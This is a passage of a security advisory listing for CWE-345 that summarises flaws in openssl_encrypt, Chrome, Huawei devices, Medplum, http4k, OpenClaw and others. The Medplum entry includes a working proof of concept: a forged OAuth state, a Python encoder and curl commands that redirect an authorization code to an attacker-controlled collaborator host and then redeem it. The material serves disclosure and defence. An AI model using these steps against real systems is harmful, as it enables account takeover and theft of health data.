CWE-345
DiscouragedInsufficient Verification of Data Authenticity
Abstraction: Class · Status: Draft
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
1092 vulnerabilities reference this CWE, most recent first.
GHSA-M2GH-W3FJ-X92V
Vulnerability from github – Published: 2026-08-27 18:32 – Updated: 2026-08-27 18:32openssl_encrypt before 1.4.9 fails to re-derive and validate fingerprints when loading identities from identity.json, allowing attackers to substitute public keys in identity stores. Attackers can replace legitimate public keys with their own while maintaining the claimed fingerprint, enabling silent key substitution where encryption uses attacker keys and signature verification appears valid.
{
"affected": [],
"aliases": [
"CVE-2026-81702"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-27T17:21:00Z",
"severity": "CRITICAL"
},
"details": "openssl_encrypt before 1.4.9 fails to re-derive and validate fingerprints when loading identities from identity.json, allowing attackers to substitute public keys in identity stores. Attackers can replace legitimate public keys with their own while maintaining the claimed fingerprint, enabling silent key substitution where encryption uses attacker keys and signature verification appears valid.",
"id": "GHSA-m2gh-w3fj-x92v",
"modified": "2026-08-27T18:32:29Z",
"published": "2026-08-27T18:32:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-q8p3-7h6h-ghfr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81702"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openssl-encrypt-before-1.4.9-key-substitution-via-identity-load"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M2VV-G52M-X3QW
Vulnerability from github – Published: 2024-07-17 00:32 – Updated: 2024-07-18 15:31Insufficient data validation in Updater in Google Chrome prior to 120.0.6099.62 allowed a remote attacker to perform OS-level privilege escalation via a malicious file. (Chromium security severity: High)
{
"affected": [],
"aliases": [
"CVE-2024-3173"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-16T23:15:24Z",
"severity": "HIGH"
},
"details": "Insufficient data validation in Updater in Google Chrome prior to 120.0.6099.62 allowed a remote attacker to perform OS-level privilege escalation via a malicious file. (Chromium security severity: High)",
"id": "GHSA-m2vv-g52m-x3qw",
"modified": "2024-07-18T15:31:19Z",
"published": "2024-07-17T00:32:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3173"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2023/12/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/40075849"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M3PP-5F32-32H9
Vulnerability from github – Published: 2026-08-17 12:32 – Updated: 2026-08-17 12:32openssl_encrypt versions before 1.4.0 silently skip JSON schema validation when the jsonschema library is not installed, allowing malformed metadata to be accepted. Attackers can remove the jsonschema package or supply unknown metadata format versions to bypass all schema checks and process malicious data.
{
"affected": [],
"aliases": [
"CVE-2026-74875"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-17T11:16:41Z",
"severity": "CRITICAL"
},
"details": "openssl_encrypt versions before 1.4.0 silently skip JSON schema validation when the jsonschema library is not installed, allowing malformed metadata to be accepted. Attackers can remove the jsonschema package or supply unknown metadata format versions to bypass all schema checks and process malicious data.",
"id": "GHSA-m3pp-5f32-32h9",
"modified": "2026-08-17T12:32:22Z",
"published": "2026-08-17T12:32:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-425g-fjhq-5h92"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74875"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openssl-encrypt-before-schema-validation-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M44C-P74C-J3J2
Vulnerability from github – Published: 2022-05-24 17:30 – Updated: 2022-05-24 17:30There is an information disclosure vulnerability in several smartphones. The device does not sufficiently validate the identity of smart wearable device in certain specific scenario, the attacker need to gain certain information in the victim's smartphone to launch the attack, and successful exploit could cause information disclosure.Affected product versions include:HUAWEI Mate 20 versions earlier than 10.1.0.160(C00E160R3P8),versions earlier than 10.1.0.160(C01E160R2P8);HUAWEI Mate 20 X versions earlier than 10.1.0.160(C00E160R2P8),versions earlier than 10.1.0.160(C01E160R2P8);HUAWEI P30 Pro versions earlier than 10.1.0.160(C00E160R2P8);Laya-AL00EP versions earlier than 10.1.0.160(C786E160R3P8);Tony-AL00B versions earlier than 10.1.0.160(C00E160R2P11);Tony-TL00B versions earlier than 10.1.0.160(C01E160R2P11).
{
"affected": [],
"aliases": [
"CVE-2020-9109"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-12T14:15:00Z",
"severity": "MODERATE"
},
"details": "There is an information disclosure vulnerability in several smartphones. The device does not sufficiently validate the identity of smart wearable device in certain specific scenario, the attacker need to gain certain information in the victim\u0027s smartphone to launch the attack, and successful exploit could cause information disclosure.Affected product versions include:HUAWEI Mate 20 versions earlier than 10.1.0.160(C00E160R3P8),versions earlier than 10.1.0.160(C01E160R2P8);HUAWEI Mate 20 X versions earlier than 10.1.0.160(C00E160R2P8),versions earlier than 10.1.0.160(C01E160R2P8);HUAWEI P30 Pro versions earlier than 10.1.0.160(C00E160R2P8);Laya-AL00EP versions earlier than 10.1.0.160(C786E160R3P8);Tony-AL00B versions earlier than 10.1.0.160(C00E160R2P11);Tony-TL00B versions earlier than 10.1.0.160(C01E160R2P11).",
"id": "GHSA-m44c-p74c-j3j2",
"modified": "2022-05-24T17:30:33Z",
"published": "2022-05-24T17:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9109"
},
{
"type": "WEB",
"url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20200930-01-dos-en"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-M44R-7C5H-M6MJ
Vulnerability from github – Published: 2026-08-17 13:36 – Updated: 2026-08-17 13:36Summary
The external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect.
Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak.
Technical Explanation
The vulnerable flow is exposed on the unauthenticated callback route GET /auth/external.
In externalCallbackHandler(), the server parses the external auth state and uses the decoded clientId and redirectUri after completing the IdP code exchange. If login succeeds and a client is found, the handler calls:
getClientRedirectUri(client, body.redirectUri, true)
The third argument explicitly enables partial matching. In getClientRedirectUri(), the function returns the attacker-supplied requestedUri whenever:
requestedUri.startsWith(uri)
As a result, any redirect URI beginning with a registered value is accepted. The returned URL is then passed into new URL(redirectUri), and the server appends login and code query parameters before calling res.redirect().
Although externalCallbackHandler() later performs an exact-match lookup, that result is only used for logging and does not block the redirect. Therefore, the request is still redirected to the attacker-controlled URL even when it is not an exact registered redirect URI.
A practical exploitation detail is that the registered redirect URI must be a prefix that can also prefix a different origin. For example:
- Registered:
http://callback.audit.local - Malicious:
http://callback.audit.local.oastify.com/cb
The client-side external auth flow serializes the login request directly into the IdP state as JSON, which makes tampering straightforward in an intercepted or manually crafted authorization request.
Steps to Reproduce
Preconditions
- The target
ClientApplicationhas anidentityProviderconfigured. - The target client has a registered redirect URI that is prefix-matchable into an attacker-controlled hostname, for example:
- Registered redirect URI:
http://callback.audit.local - The attacker controls a collaborator endpoint such as:
https://<collaborator-host>/cb- The attacker uses a forged
state.redirectUrithat starts with the registered value, for example: http://callback.audit.local.oastify.com/cb- or a collaborator domain that matches your local proof setup
Example forged state
{"clientId":"<medplum-client-id>","redirectUri":"http://callback.audit.local.oastify.com/cb","codeChallenge":"attack-verifier-123","codeChallengeMethod":"plain"}
URL-encode the forged state
python3 - <<'PY'
import json, urllib.parse
state = {
"clientId": "<medplum-client-id>",
"redirectUri": "http://callback.audit.local.oastify.com/cb",
"codeChallenge": "attack-verifier-123",
"codeChallengeMethod": "plain",
}
print(urllib.parse.quote(json.dumps(state, separators=(',', ':'))))
PY
Replay the external callback with cURL
Use a valid IdP authorization code obtained from a normal external login flow, then call the vulnerable callback directly:
curl -i 'http://api.audit.local:8103/auth/external?code=<valid-idp-code>&state=<URLENCODED_FORGED_STATE>
Expected result The response is a 302 redirect to the attacker-controlled endpoint, including Medplum authorization artifacts in the query string:
HTTP/1.1 302 Found
Location: http://callback.audit.local.oastify.com/cb?login=<login-id>&code=<medplum-auth-code>
Collaborator proof If redirectUri points to a Burp Collaborator, Interactsh, or another attacker-controlled HTTP endpoint, that service receives the inbound request containing the leaked code in the query string. This demonstrates that Medplum is willing to forward authorization artifacts to an attacker-controlled destination when state.redirectUri only prefix-matches a registered client redirect URI.
Optional impact validation If the attacker supplied the PKCE verifier in the forged state, the leaked Medplum code can then be redeemed:
curl -i -X POST 'http://api.audit.local:8103/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=authorization_code&code=<medplum-auth-code>&code_verifier=attack-verifier-123'
Impact
The impact of this vulnerability is Critical, as it facilitates a full Account Takeover (ATO) of any user utilizing the external identity provider (IdP) flow.
-
Full Account Takeover (ATO): An attacker can successfully intercept the Medplum authorization 'code'. Because the attacker controls the 'state' object, they can provide their own PKCE 'code_challenge'. This allows the attacker to redeem the stolen code for a valid access token without knowing the victim's original secret, leading to total session hijacking.
-
Bypassing Modern OAuth Protections: This flaw explicitly bypasses the security benefits of PKCE (Proof Key for Code Exchange). By allowing an attacker to inject their own PKCE parameters into the tampered state, the server's verification mechanism is rendered useless against this specific redirection attack.
-
Cross-Origin Data Leakage: The 'startsWith' logic allows an attacker to break out of the intended origin. For example, a registered URI for 'https://app.medplum.com' could be extended to 'https://app.medplum.com.attacker.com', tricking the user and the browser's security model into sending sensitive credentials to an external host.
-
Access to Sensitive Healthcare Data (PHI): Given Medplum's role as a healthcare platform, a successful compromise grants the attacker the same permissions as the victim, potentially exposing Protected Health Information (PHI) and violating HIPAA or other regulatory compliance standards.
-
Victim Trust Exploitation: The attack occurs during a legitimate login flow. The victim interacts with the official Medplum server and their trusted IdP (e.g., Google or Microsoft), making the final redirection to the attacker-controlled URL nearly impossible for an average user to detect.
Mitigation
- Require exact string equality for redirect URIs.
- Bind external auth state to a server-side session or use a HMAC/Signature.
- Reject prefixable or ambiguous redirect URI shapes during registration.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.1.5"
},
"package": {
"ecosystem": "npm",
"name": "@medplum/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53728"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-17T13:36:17Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe external identity provider callback at `GET /auth/external` accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum `login` and `code` values to that attacker-supplied URL and issues a redirect.\n\nBecause the external login request `state` is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with `state.redirectUri` can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak.\n\n## Technical Explanation\n\nThe vulnerable flow is exposed on the unauthenticated callback route `GET /auth/external`.\n\nIn `externalCallbackHandler()`, the server parses the external auth `state` and uses the decoded `clientId` and `redirectUri` after completing the IdP code exchange. If login succeeds and a client is found, the handler calls:\n\n- `getClientRedirectUri(client, body.redirectUri, true)`\n\nThe third argument explicitly enables partial matching. In `getClientRedirectUri()`, the function returns the attacker-supplied `requestedUri` whenever:\n\n- `requestedUri.startsWith(uri)`\n\nAs a result, any redirect URI beginning with a registered value is accepted. The returned URL is then passed into `new URL(redirectUri)`, and the server appends `login` and `code` query parameters before calling `res.redirect()`.\n\nAlthough `externalCallbackHandler()` later performs an exact-match lookup, that result is only used for logging and does not block the redirect. Therefore, the request is still redirected to the attacker-controlled URL even when it is not an exact registered redirect URI.\n\nA practical exploitation detail is that the registered redirect URI must be a prefix that can also prefix a different origin. For example:\n\n- Registered: `http://callback.audit.local`\n- Malicious: `http://callback.audit.local.oastify.com/cb`\n\nThe client-side external auth flow serializes the login request directly into the IdP `state` as JSON, which makes tampering straightforward in an intercepted or manually crafted authorization request.\n\n## Steps to Reproduce\n\n### Preconditions\n\n- The target `ClientApplication` has an `identityProvider` configured.\n- The target client has a registered redirect URI that is prefix-matchable into an attacker-controlled hostname, for example:\n - Registered redirect URI: `http://callback.audit.local`\n- The attacker controls a collaborator endpoint such as:\n - `https://\u003ccollaborator-host\u003e/cb`\n- The attacker uses a forged `state.redirectUri` that starts with the registered value, for example:\n - `http://callback.audit.local.oastify.com/cb`\n - or a collaborator domain that matches your local proof setup\n\n### Example forged state\n\n`{\"clientId\":\"\u003cmedplum-client-id\u003e\",\"redirectUri\":\"http://callback.audit.local.oastify.com/cb\",\"codeChallenge\":\"attack-verifier-123\",\"codeChallengeMethod\":\"plain\"}`\n\n**URL-encode the forged state**\n\n```\npython3 - \u003c\u003c\u0027PY\u0027\nimport json, urllib.parse\nstate = {\n \"clientId\": \"\u003cmedplum-client-id\u003e\",\n \"redirectUri\": \"http://callback.audit.local.oastify.com/cb\",\n \"codeChallenge\": \"attack-verifier-123\",\n \"codeChallengeMethod\": \"plain\",\n}\nprint(urllib.parse.quote(json.dumps(state, separators=(\u0027,\u0027, \u0027:\u0027))))\nPY\n```\n\n**Replay the external callback with cURL**\nUse a valid IdP authorization code obtained from a normal external login flow, then call the vulnerable callback directly:\n`curl -i \u0027http://api.audit.local:8103/auth/external?code=\u003cvalid-idp-code\u003e\u0026state=\u003cURLENCODED_FORGED_STATE\u003e`\n\nExpected result\nThe response is a 302 redirect to the attacker-controlled endpoint, including Medplum authorization artifacts in the query string:\n\n```\nHTTP/1.1 302 Found\nLocation: http://callback.audit.local.oastify.com/cb?login=\u003clogin-id\u003e\u0026code=\u003cmedplum-auth-code\u003e\n```\n\n**Collaborator proof**\nIf redirectUri points to a Burp Collaborator, Interactsh, or another attacker-controlled HTTP endpoint, that service receives the inbound request containing the leaked code in the query string. This demonstrates that Medplum is willing to forward authorization artifacts to an attacker-controlled destination when state.redirectUri only prefix-matches a registered client redirect URI.\n\n**Optional impact validation**\nIf the attacker supplied the PKCE verifier in the forged state, the leaked Medplum code can then be redeemed:\n\n```\ncurl -i -X POST \u0027http://api.audit.local:8103/oauth2/token\u0027 \\\n -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n --data \u0027grant_type=authorization_code\u0026code=\u003cmedplum-auth-code\u003e\u0026code_verifier=attack-verifier-123\u0027\n```\n\n## Impact\n\nThe impact of this vulnerability is Critical, as it facilitates a full Account Takeover (ATO) of any user utilizing the external identity provider (IdP) flow. \n\n1. Full Account Takeover (ATO): \nAn attacker can successfully intercept the Medplum authorization \u0027code\u0027. Because the attacker controls the \u0027state\u0027 object, they can provide their own PKCE \u0027code_challenge\u0027. This allows the attacker to redeem the stolen code for a valid access token without knowing the victim\u0027s original secret, leading to total session hijacking.\n\n2. Bypassing Modern OAuth Protections: \nThis flaw explicitly bypasses the security benefits of PKCE (Proof Key for Code Exchange). By allowing an attacker to inject their own PKCE parameters into the tampered state, the server\u0027s verification mechanism is rendered useless against this specific redirection attack.\n\n3. Cross-Origin Data Leakage: \nThe \u0027startsWith\u0027 logic allows an attacker to break out of the intended origin. For example, a registered URI for \u0027https://app.medplum.com\u0027 could be extended to \u0027https://app.medplum.com.attacker.com\u0027, tricking the user and the browser\u0027s security model into sending sensitive credentials to an external host.\n\n4. Access to Sensitive Healthcare Data (PHI):\nGiven Medplum\u0027s role as a healthcare platform, a successful compromise grants the attacker the same permissions as the victim, potentially exposing Protected Health Information (PHI) and violating HIPAA or other regulatory compliance standards.\n\n5. Victim Trust Exploitation:\nThe attack occurs during a legitimate login flow. The victim interacts with the official Medplum server and their trusted IdP (e.g., Google or Microsoft), making the final redirection to the attacker-controlled URL nearly impossible for an average user to detect.\n\n## Mitigation\n- Require exact string equality for redirect URIs.\n- Bind external auth state to a server-side session or use a HMAC/Signature.\n- Reject prefixable or ambiguous redirect URI shapes during registration.",
"id": "GHSA-m44r-7c5h-m6mj",
"modified": "2026-08-17T13:36:17Z",
"published": "2026-08-17T13:36:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/medplum/medplum/security/advisories/GHSA-m44r-7c5h-m6mj"
},
{
"type": "WEB",
"url": "https://github.com/medplum/medplum/pull/8749"
},
{
"type": "WEB",
"url": "https://github.com/medplum/medplum/commit/7ae10035ddadde4dba7b18d3156553940465b3a1"
},
{
"type": "PACKAGE",
"url": "https://github.com/medplum/medplum"
},
{
"type": "WEB",
"url": "https://github.com/medplum/medplum/releases/tag/v5.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Medplum: Improper Validation of Redirect URI in External Auth Callback allows Authorization Code Leakage"
}
GHSA-M4W9-HJFW-VWJ4
Vulnerability from github – Published: 2026-06-19 21:16 – Updated: 2026-06-19 21:16Impact
The HmacSha256 class contained two functions:
- hash(payload) — a plain unkeyed SHA-256 digest. The Hmac prefix in the class name was misleading; this function has no key parameter, so it could never have been an HMAC.
- hmacSHA256(key, data) — a properly keyed HMAC-SHA256.
A reader who didn't engage with the function signature could in principle have assumed HmacSha256.hash(payload) was somehow keyed, but the absence of any key parameter made that misuse unlikely in practice.
Who is affected: any downstream caller who read the class name and used HmacSha256.hash as a message authentication code without noticing it takes no key. Verified at v6.47.2.0: zero internal misuse in http4k itself. Both production usages of HmacSha256.hash (AWS SigV4 canonical-request hashing in AwsSignatureV4Signer.kt and x-amz-content-sha256 in awsExtensions.kt) are AWS-spec-correct uses of plain SHA-256; every keyed hmacSHA256(key, data) call passes a real key. The advisory exists so any downstream caller relying on the misleadingly-named API knows to migrate.
Patches
Upgrade to 6.49.0.0 or later. The fix introduces:
- Sha256.hash(input) — unkeyed digest (the actual behaviour HmacSha256.hash provided).
- Sha256.hmac(key, input) — keyed HMAC-SHA256 (the behaviour the name implied).
HmacSha256 is deprecated. Existing callers continue to work via deprecation shims; migrate to Sha256.hash or Sha256.hmac per intent.
Workarounds
If you cannot upgrade and you need a real HMAC-SHA256, use javax.crypto.Mac.getInstance("HmacSHA256") with a SecretKeySpec. For an unkeyed SHA-256 digest, use java.security.MessageDigest.getInstance("SHA-256"). The keyed hmacSHA256(key, data) was always correctly implemented and is safe to use as-is.
References
- Fix release: v6.49.0.0
- Background: RFC 2104 — HMAC: Keyed-Hashing for Message Authentication
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.http4k:http4k-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.49.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:16:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nThe `HmacSha256` class contained two functions:\n- `hash(payload)` \u2014 a plain unkeyed SHA-256 digest. The `Hmac` prefix in the class name was misleading; this function has no key parameter, so it could never have been an HMAC.\n- `hmacSHA256(key, data)` \u2014 a properly keyed HMAC-SHA256.\n\nA reader who didn\u0027t engage with the function signature could in principle have assumed `HmacSha256.hash(payload)` was somehow keyed, but the absence of any key parameter made that misuse unlikely in practice.\n\n**Who is affected:** any downstream caller who read the class name and used `HmacSha256.hash` as a message authentication code without noticing it takes no key. **Verified at v6.47.2.0: zero internal misuse in http4k itself.** Both production usages of `HmacSha256.hash` (AWS SigV4 canonical-request hashing in `AwsSignatureV4Signer.kt` and `x-amz-content-sha256` in `awsExtensions.kt`) are AWS-spec-correct uses of plain SHA-256; every keyed `hmacSHA256(key, data)` call passes a real key. The advisory exists so any downstream caller relying on the misleadingly-named API knows to migrate.\n\n### Patches\n\nUpgrade to **6.49.0.0** or later. The fix introduces:\n- `Sha256.hash(input)` \u2014 unkeyed digest (the actual behaviour `HmacSha256.hash` provided).\n- `Sha256.hmac(key, input)` \u2014 keyed HMAC-SHA256 (the behaviour the name implied).\n\n`HmacSha256` is deprecated. Existing callers continue to work via deprecation shims; migrate to `Sha256.hash` or `Sha256.hmac` per intent.\n\n### Workarounds\n\nIf you cannot upgrade and you need a real HMAC-SHA256, use `javax.crypto.Mac.getInstance(\"HmacSHA256\")` with a `SecretKeySpec`. For an unkeyed SHA-256 digest, use `java.security.MessageDigest.getInstance(\"SHA-256\")`. The keyed `hmacSHA256(key, data)` was always correctly implemented and is safe to use as-is.\n\n### References\n\n- Fix release: [v6.49.0.0](https://github.com/http4k/http4k/releases/tag/6.49.0.0)\n- Background: [RFC 2104 \u2014 HMAC: Keyed-Hashing for Message Authentication](https://datatracker.ietf.org/doc/html/rfc2104)",
"id": "GHSA-m4w9-hjfw-vwj4",
"modified": "2026-06-19T21:16:03Z",
"published": "2026-06-19T21:16:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/http4k/http4k/security/advisories/GHSA-m4w9-hjfw-vwj4"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc2104"
},
{
"type": "PACKAGE",
"url": "https://github.com/http4k/http4k"
},
{
"type": "WEB",
"url": "https://github.com/http4k/http4k/releases/tag/6.49.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "http4k: `HmacSha256.hash` (despite the `Hmac` naming) computed a plain unkeyed digest; clarified by deprecation in favour of `Sha256.hash` / `Sha256.hmac`"
}
GHSA-M5J2-R859-R5CV
Vulnerability from github – Published: 2026-05-11 18:31 – Updated: 2026-05-18 15:29Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-57r2-h2wj-g887. This link is maintained to preserve external references.
Original Description
OpenClaw before 2026.4.20 fails to properly preserve untrusted labels for isolated cron awareness events, allowing webhook-triggered cron agent output to be recorded as trusted system events. Attackers can exploit this trust-labeling issue to strengthen prompt-injection attacks by rendering untrusted events as trusted System events.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T15:29:40Z",
"nvd_published_at": "2026-05-11T18:16:39Z",
"severity": "MODERATE"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-57r2-h2wj-g887. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.4.20 fails to properly preserve untrusted labels for isolated cron awareness events, allowing webhook-triggered cron agent output to be recorded as trusted system events. Attackers can exploit this trust-labeling issue to strengthen prompt-injection attacks by rendering untrusted events as trusted System events.",
"id": "GHSA-m5j2-r859-r5cv",
"modified": "2026-05-18T15:29:40Z",
"published": "2026-05-11T18:31:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-57r2-h2wj-g887"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44999"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/f61896b03cc7031f51106a04566831f4ac2a0bd7"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-improper-trust-labeling-in-isolated-cron-awareness-events"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: OpenClaw: Isolated cron awareness events were recorded as trusted system events",
"withdrawn": "2026-05-18T15:29:40Z"
}
GHSA-M7X4-J34M-52HC
Vulnerability from github – Published: 2022-06-22 00:01 – Updated: 2022-06-22 00:01An unauthenticated, remote attacker could upload malicious logic to devices based on ProConOS/ProConOS eCLR in order to gain full control over the device.
{
"affected": [],
"aliases": [
"CVE-2022-31800"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-21T08:15:00Z",
"severity": "CRITICAL"
},
"details": "An unauthenticated, remote attacker could upload malicious logic to devices based on ProConOS/ProConOS eCLR in order to gain full control over the device.",
"id": "GHSA-m7x4-j34m-52hc",
"modified": "2022-06-22T00:01:01Z",
"published": "2022-06-22T00:01:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31800"
},
{
"type": "WEB",
"url": "https://cert.vde.com/en/advisories/VDE-2022-025"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M95P-425X-X889
Vulnerability from github – Published: 2025-11-25 20:41 – Updated: 2025-11-27 08:59Impact
cggmp21 concerns a missing check in the ZK proof that enables an attack in which a single malicious signer can reconstruct full private key.
Patches
cggmp21 v0.6.3is a patch release that contains a fix that introduces this specific missing check- However, cggmp21 recommends upgrading to
cggmp24 v0.7.0-alpha.2which contains many other security checks as a precaution. Follow migration guideline to upgrade.
Workarounds
Update to cggmp21 v0.6.3, a minor release that contains a minimal security patch.
However, for full mitigation, users will need to upgrade to cggmp24 v0.7.0-alpha.2 as it contains many more security check implementations.
Resources
Read this blog post to learn more.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "cggmp21"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "cggmp24"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.7.0-alpha.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66016"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-25T20:41:04Z",
"nvd_published_at": "2025-11-25T20:16:00Z",
"severity": "CRITICAL"
},
"details": "### Impact\ncggmp21 concerns a missing check in the ZK proof that enables an attack in which a single malicious signer can reconstruct full private key.\n\n### Patches\n* `cggmp21 v0.6.3` is a patch release that contains a fix that introduces this specific missing check\n* However, cggmp21 recommends upgrading to `cggmp24 v0.7.0-alpha.2` which contains many other security checks as a precaution. Follow [migration guideline](https://github.com/LFDT-Lockness/cggmp21/blob/v0.7.0-alpha.2/CGGMP21_MIGRATION.md) to upgrade.\n\n### Workarounds\nUpdate to `cggmp21 v0.6.3`, a minor release that contains a minimal security patch.\n\nHowever, for full mitigation, users will need to upgrade to `cggmp24 v0.7.0-alpha.2` as it contains many more security check implementations.\n\n### Resources\nRead this [blog post](https://www.dfns.co/article/cggmp21-vulnerabilities-patched-and-explained) to learn more.",
"id": "GHSA-m95p-425x-x889",
"modified": "2025-11-27T08:59:47Z",
